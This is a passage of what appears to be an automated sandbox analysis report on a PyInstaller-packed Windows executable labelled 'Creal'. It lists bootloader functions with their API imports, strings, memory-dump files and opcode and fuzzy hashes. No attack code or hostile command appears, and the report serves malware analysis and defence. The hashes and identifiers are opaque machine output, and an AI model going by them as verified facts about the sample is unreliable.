GetLastError.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D92459A9
GetProcAddress.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D92459C5
GetLastError.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D92459D7

Strings

PyStatus_Exception, xrefs: 00007FF6D9245E39, 00007FF6D9245E5B
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6D9245DDD, 00007FF6D9245DFF
Py_DecodeLocale, xrefs: 00007FF6D924587F, 00007FF6D92458A1
Py_IsInitialized, xrefs: 00007FF6D9245931, 00007FF6D9245953
PySys_SetObject, xrefs: 00007FF6D9245E95, 00007FF6D9245EB7
PyConfig_SetBytesString, xrefs: 00007FF6D9245A17, 00007FF6D9245A39
PyMem_RawFree, xrefs: 00007FF6D9245C9B, 00007FF6D9245CBD
PyObject_Str, xrefs: 00007FF6D9245DAF, 00007FF6D9245DD1
PyErr_Clear, xrefs: 00007FF6D9245AA1, 00007FF6D9245AC3
PyConfig_SetString, xrefs: 00007FF6D9245A45, 00007FF6D9245A67
PyImport_AddModule, xrefs: 00007FF6D9245BE3, 00007FF6D9245C05
PyUnicode_Join, xrefs: 00007FF6D9245FA9, 00007FF6D9245FCB
PyMarshal_ReadObjectFromString, xrefs: 00007FF6D9245C6D, 00007FF6D9245C8F
PyObject_GetAttrString, xrefs: 00007FF6D9245D53, 00007FF6D9245D75
PyUnicode_FromFormat, xrefs: 00007FF6D9245F4D, 00007FF6D9245F6F
PyObject_SetAttrString, xrefs: 00007FF6D9245D81, 00007FF6D9245DA3
Failed to get address for %hs, xrefs: 00007FF6D9245861
PyUnicode_DecodeFSDefault, xrefs: 00007FF6D9245F1F, 00007FF6D9245F41
PyObject_CallFunction, xrefs: 00007FF6D9245CF7, 00007FF6D9245D19
PyErr_Fetch, xrefs: 00007FF6D9245ACF, 00007FF6D9245AF1
PyErr_Occurred, xrefs: 00007FF6D9245B2B, 00007FF6D9245B4D
Py_InitializeFromConfig, xrefs: 00007FF6D9245903, 00007FF6D9245925
PyConfig_Read, xrefs: 00007FF6D92459E9, 00007FF6D9245A0B
PyRun_SimpleStringFlags, xrefs: 00007FF6D9245E0B, 00007FF6D9245E2D
PyErr_Restore, xrefs: 00007FF6D9245B87, 00007FF6D9245BA9
Py_PreInitialize, xrefs: 00007FF6D924595F, 00007FF6D9245981
PyConfig_SetWideStringList, xrefs: 00007FF6D9245A73, 00007FF6D9245A95
PyUnicode_AsUTF8, xrefs: 00007FF6D9245EC3, 00007FF6D9245EE5
GetProcAddress, xrefs: 00007FF6D9245868
PySys_GetObject, xrefs: 00007FF6D9245E67, 00007FF6D9245E89
PyErr_NormalizeException, xrefs: 00007FF6D9245AFD, 00007FF6D9245B1F
Py_ExitStatusException, xrefs: 00007FF6D92458AA, 00007FF6D92458CC
PyEval_EvalCode, xrefs: 00007FF6D9245BB5, 00007FF6D9245BD7
PyConfig_InitIsolatedConfig, xrefs: 00007FF6D92459BB, 00007FF6D92459DD
PyConfig_Clear, xrefs: 00007FF6D924598D, 00007FF6D92459AF
Py_DecRef, xrefs: 00007FF6D9245836, 00007FF6D9245858
PyUnicode_Decode, xrefs: 00007FF6D9245EF1, 00007FF6D9245F13
Py_Finalize, xrefs: 00007FF6D92458D5, 00007FF6D92458F7
PyUnicode_Replace, xrefs: 00007FF6D9245FD7, 00007FF6D9245FF9
PyImport_ImportModule, xrefs: 00007FF6D9245C3F, 00007FF6D9245C61
PyModule_GetDict, xrefs: 00007FF6D9245CC9, 00007FF6D9245CEB
PyErr_Print, xrefs: 00007FF6D9245B59, 00007FF6D9245B7B
PyImport_ExecCodeModule, xrefs: 00007FF6D9245C11, 00007FF6D9245C33
PyObject_CallFunctionObjArgs, xrefs: 00007FF6D9245D25, 00007FF6D9245D47
PyUnicode_FromString, xrefs: 00007FF6D9245F7B, 00007FF6D9245F9D

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 96a26c9935e6063a934eb45478fae5e81f29b7f3701d4e7b03b3a1a5d4f336a0
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: FC22C860A2EB0791FA19FF96AE1457C23A5AF19741F445037C95E82AA1FF3CB478C380

Function 00007FF6D92481D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6D9249390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6D92445F4,00000000,00007FF6D9241985), ref: 00007FF6D92493C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF6D92486B7,?,?,00000000,00007FF6D9243CBB), ref: 00007FF6D924822C

Part of subcall function 00007FF6D9242810: MessageBoxW.USER32 ref: 00007FF6D92428EA

Strings

LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF6D9248373
%.*s, xrefs: 00007FF6D924830C
CreateDirectory, xrefs: 00007FF6D924837C
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6D9248203
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF6D924829D
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6D92482D9
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6D9248240
\, xrefs: 00007FF6D9248261

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction ID: 156760c5f651e81842da51f12cbf3d22bc86fba98d12fdeee567a82f5d0e316b
Opcode Fuzzy Hash: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction Fuzzy Hash: 66516711A3DA8241FB51DF25EB516BE67A0AFA8784F444433DA0EC6AD5EE3CE524CB40

Function 00007FF6D9242180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6D92421AB
SelectObject.GDI32 ref: 00007FF6D92421F2
DrawTextW.USER32 ref: 00007FF6D9242215
SelectObject.GDI32 ref: 00007FF6D924222B
ReleaseDC.USER32 ref: 00007FF6D924223B
MoveWindow.USER32 ref: 00007FF6D924228B
MoveWindow.USER32 ref: 00007FF6D92422CB
MoveWindow.USER32 ref: 00007FF6D924231E
MoveWindow.USER32 ref: 00007FF6D9242366

Strings

P%, xrefs: 00007FF6D92421FF

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 2ad318d09c31b01384c84aece63c5d37d4ad13c3e219e85cbc35539fd67edcfd
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 6551C8266187A186E6349F36E4181BEB7A1F798B61F004126EFDE83694DF3CD055DB10

Function 00007FF6D92480C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF6D92480FF
GetWindowLongPtrW.USER32 ref: 00007FF6D924817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF6D9248192
GetLastError.KERNEL32 ref: 00007FF6D924819C
SetWindowLongPtrW.USER32 ref: 00007FF6D92481B3

Strings

Needs to remove its temporary files., xrefs: 00007FF6D9248185

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 10e5255e5a3970cd0e2e5b1ea774b2a911777a1e41fe8763d67911bd5c4ae01d
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: CE219F21B3DA4282FB418F7AAE5417D6350EF98B90F484233DA2EC3BD4DE3CD5A18640

Function 00007FF6D9256290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D92562D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D92566C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D925695C

Strings

f, xrefs: 00007FF6D92563F5
p, xrefs: 00007FF6D9256385
-, xrefs: 00007FF6D9256369
p, xrefs: 00007FF6D92563FD
:, xrefs: 00007FF6D925648C

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: ff251f95c1c907146073f5f1bdb0616310ae8540ad0dcb1e5908bc13350ca6ee
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 1B129372E2C24386FBA05E14D35867F76A2FB50754F844137E68986ADCDF3CE9A48B04

Function 00007FF6D9250FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9251008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D92513D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D925166F

Strings

f, xrefs: 00007FF6D92510A0
f, xrefs: 00007FF6D925110A
p, xrefs: 00007FF6D92510AD
f, xrefs: 00007FF6D9251255
p, xrefs: 00007FF6D9251112

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: c775a23e9d90dbb507fe37823e92e50a14423abe72f6b41915dfa5909911dd22
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: BA12A672E2C14386FBA45E14E25667D76A1FB40754F884033E69AC7ACDDF7CE8A08B10

Function 00007FF6D9241050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6D9241098
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6D92411F6
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6D92410CC
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6D9241108
fseek, xrefs: 00007FF6D92410D3
fread, xrefs: 00007FF6D92411FD
malloc, xrefs: 00007FF6D924110F

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 0f969e6fb3265fee7630cdf4d153662912e2351cfe086ee8c9ce282ec24edd98
Instruction ID: 971332d278c562a2a0ae1ba0dd0cca4e61e4c845f64a6a11b721d0270c42a492
Opcode Fuzzy Hash: 0f969e6fb3265fee7630cdf4d153662912e2351cfe086ee8c9ce282ec24edd98
Instruction Fuzzy Hash: 8E416E21B2D65282FA10DF56AA016BDB390BF68BC4F544433ED4D8779ADE3CE525CB40

Function 00007FF6D9241470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6D924149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6D92415DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6D92414DE
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6D9241518
fseek, xrefs: 00007FF6D92414E5
fread, xrefs: 00007FF6D92415E6
malloc, xrefs: 00007FF6D924151F

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: ba69cb2111a26844a3bb1f636b4ed516f2970dba1f1f6f2553b333e5179dfc8e
Instruction ID: b5ddbcb533eeeca00361037890843d371f7b8213451657c6a7e4a4cbafc13b1b
Opcode Fuzzy Hash: ba69cb2111a26844a3bb1f636b4ed516f2970dba1f1f6f2553b333e5179dfc8e
Instruction Fuzzy Hash: 6A419F22A2865296FB10DF21AA011FD73A0FF68794F444433ED4D87B9ADE3CE525CB40

Function 00007FF6D924EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6D924EA65

Part of subcall function 00007FF6D924F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6D924F9FF
Part of subcall function 00007FF6D924F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6D924FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6D924EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6D924ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6D924EE98

Strings

csm, xrefs: 00007FF6D924EB60
csm, xrefs: 00007FF6D924EA7F
csm, xrefs: 00007FF6D924EAE6

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 58c462a2c43489f2acd7294adef47688afb9da2c0468cd4f7a962b670462723a
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 37D19332A28B418AFB20DF65D5403AD77A0FB697A8F100136DE4D97B95CF38E4A5CB40

Function 00007FF6D9242C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6D9243706,?,00007FF6D9243804), ref: 00007FF6D9242C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6D9243706,?,00007FF6D9243804), ref: 00007FF6D9242D63
MessageBoxW.USER32 ref: 00007FF6D9242D99

Strings

Error, xrefs: 00007FF6D9242D8C
[PYI-%d:ERROR] , xrefs: 00007FF6D9242CA6
%ls: , xrefs: 00007FF6D9242D22
<FormatMessageW failed.>, xrefs: 00007FF6D9242D70

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: b6da3abe6ee96b1b98b4f91b38d2dd70b23adfc7049d424cfe095fbc9bb1c979
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: 0D31E522B18A4142F720AF66AA102BE66A1BF98798F410137EF4DD7B59DF3CD516C740

Function 00007FF6D924DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6D924DF7A,?,?,?,00007FF6D924DC6C,?,?,?,00007FF6D924D869), ref: 00007FF6D924DD4D
GetLastError.KERNEL32(?,?,?,00007FF6D924DF7A,?,?,?,00007FF6D924DC6C,?,?,?,00007FF6D924D869), ref: 00007FF6D924DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6D924DF7A,?,?,?,00007FF6D924DC6C,?,?,?,00007FF6D924D869), ref: 00007FF6D924DD85
FreeLibrary.KERNEL32(?,?,?,00007FF6D924DF7A,?,?,?,00007FF6D924DC6C,?,?,?,00007FF6D924D869), ref: 00007FF6D924DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF6D924DF7A,?,?,?,00007FF6D924DC6C,?,?,?,00007FF6D924D869), ref: 00007FF6D924DDFF

Strings

api-ms-, xrefs: 00007FF6D924DD6D

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 418ae58b7cccfd407f5557749195ef9e1c0c6a3e76fbb45cb32b56a12f9bbc78
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 9931A322B2A642D1FE11AF02AA006BD2394FF5CBA4F594636DD1D86B94DF3CF4648B00

Function 00007FF6D9246360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

ucrtbase.dll, xrefs: 00007FF6D92463DD
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF6D9246456
LoadLibrary, xrefs: 00007FF6D92464AE
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF6D92463C7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF6D9246407
Failed to load Python DLL '%ls'., xrefs: 00007FF6D92464A7

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction ID: cb78cccbebac2aba69a7fed1e1757998e4e54d101ec80671ca230dfe1f96c578
Opcode Fuzzy Hash: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction Fuzzy Hash: F0418331A3C68691FA21EF20E6141EE6361FF68344F804133EA5D87695EF3CE529CB90

Function 00007FF6D9242A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF6D924351A,?,00000000,00007FF6D9243F23), ref: 00007FF6D9242AA0

Strings

Warning [ANSI Fallback], xrefs: 00007FF6D9242B0F
